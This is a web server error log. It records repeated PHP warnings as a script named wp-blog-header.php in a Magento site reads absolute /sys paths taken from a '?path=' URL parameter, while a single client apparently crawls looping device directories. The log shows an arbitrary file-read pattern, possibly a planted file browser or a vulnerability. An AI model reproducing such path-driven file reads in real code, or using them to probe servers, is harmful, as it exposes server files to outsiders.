[Thu Mar 26 11:05:46.196384 2026] [php:warn] [pid 3107099] [client 74.7.241.26:39412] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/devices/device:ba
[Thu Mar 26 11:05:46.727314 2026] [php:warn] [pid 3107099] [client 74.7.241.26:39412] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/devices/device:fc
[Thu Mar 26 11:05:47.233781 2026] [php:warn] [pid 3107099] [client 74.7.241.26:39412] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:ca
[Thu Mar 26 11:05:48.298028 2026] [php:warn] [pid 3107099] [client 74.7.241.26:39412] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 11:05:49.603389 2026] [php:warn] [pid 3107099] [client 74.7.241.26:39412] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:fa
[Thu Mar 26 11:05:50.105433 2026] [php:warn] [pid 3107099] [client 74.7.241.26:39412] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 11:05:50.622703 2026] [php:warn] [pid 3107099] [client 74.7.241.26:39412] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:fa
[Thu Mar 26 11:05:57.481862 2026] [php:warn] [pid 3107099] [client 74.7.241.26:39412] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 11:05:59.694834 2026] [php:warn] [pid 3107099] [client 74.7.241.26:39412] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:06:04.639358 2026] [php:warn] [pid 3106405] [client 74.7.241.26:48694] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:06:14.717394 2026] [php:warn] [pid 3106405] [client 74.7.241.26:48694] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:dd/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:dd/device:de
[Thu Mar 26 11:06:21.850816 2026] [php:warn] [pid 3106405] [client 74.7.241.26:48694] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 11:06:27.639311 2026] [php:warn] [pid 3106405] [client 74.7.241.26:48694] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:de
[Thu Mar 26 11:06:37.015051 2026] [php:warn] [pid 3106405] [client 74.7.241.26:48694] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:da
[Thu Mar 26 11:06:40.169827 2026] [php:warn] [pid 3106405] [client 74.7.241.26:48694] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:ce
[Thu Mar 26 11:06:42.321250 2026] [php:warn] [pid 3106405] [client 74.7.241.26:48694] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 11:06:43.860636 2026] [php:warn] [pid 3106405] [client 74.7.241.26:48694] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:ac
[Thu Mar 26 11:06:45.432727 2026] [php:warn] [pid 3106405] [client 74.7.241.26:48694] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/drivers/ac
[Thu Mar 26 11:06:47.070273 2026] [php:warn] [pid 3106405] [client 74.7.241.26:48694] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 11:06:49.615814 2026] [php:warn] [pid 3106405] [client 74.7.241.26:48694] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 11:06:53.360550 2026] [php:warn] [pid 3106405] [client 74.7.241.26:48694] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:ce
[Thu Mar 26 11:06:56.893464 2026] [php:warn] [pid 3117489] [client 74.7.241.26:52070] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:06:58.415171 2026] [php:warn] [pid 3117489] [client 74.7.241.26:52070] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 11:06:59.532550 2026] [php:warn] [pid 3117489] [client 74.7.241.26:52070] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 11:07:02.789127 2026] [php:warn] [pid 3117489] [client 74.7.241.26:52070] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:07:08.327856 2026] [php:warn] [pid 3117489] [client 74.7.241.26:52070] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:ac
[Thu Mar 26 11:07:10.462989 2026] [php:warn] [pid 3117489] [client 74.7.241.26:52070] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:fe
[Thu Mar 26 11:07:10.968550 2026] [php:warn] [pid 3117489] [client 74.7.241.26:52070] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:07:14.675551 2026] [php:warn] [pid 3117489] [client 74.7.241.26:52070] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 11:07:15.201024 2026] [php:warn] [pid 3117489] [client 74.7.241.26:52070] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 11:07:16.776897 2026] [php:warn] [pid 3117489] [client 74.7.241.26:52070] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:fa
[Thu Mar 26 11:07:17.863910 2026] [php:warn] [pid 3117489] [client 74.7.241.26:52070] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:fa
[Thu Mar 26 11:07:21.073859 2026] [php:warn] [pid 3117489] [client 74.7.241.26:52070] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:cc
[Thu Mar 26 11:07:24.341095 2026] [php:warn] [pid 3117489] [client 74.7.241.26:52070] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:fa
[Thu Mar 26 11:07:31.396236 2026] [php:warn] [pid 3117489] [client 74.7.241.26:52070] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/drivers/ec
[Thu Mar 26 11:07:37.636105 2026] [php:warn] [pid 3117489] [client 74.7.241.26:52070] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:bc
[Thu Mar 26 11:07:41.804178 2026] [php:warn] [pid 3117489] [client 74.7.241.26:52070] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 11:07:45.420472 2026] [php:warn] [pid 3117489] [client 74.7.241.26:52070] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:ac
[Thu Mar 26 11:07:50.697959 2026] [php:warn] [pid 3117489] [client 74.7.241.26:52070] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 11:07:54.097336 2026] [php:warn] [pid 3106758] [client 74.7.241.26:32782] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/drivers/ac
[Thu Mar 26 11:07:56.914837 2026] [php:warn] [pid 3106758] [client 74.7.241.26:32782] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:fc
[Thu Mar 26 11:07:58.565486 2026] [php:warn] [pid 3106758] [client 74.7.241.26:32782] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:fc
[Thu Mar 26 11:07:58.979333 2026] [php:warn] [pid 3106758] [client 74.7.241.26:32782] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:be
[Thu Mar 26 11:08:00.065459 2026] [php:warn] [pid 3106758] [client 74.7.241.26:32782] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/drivers/ac
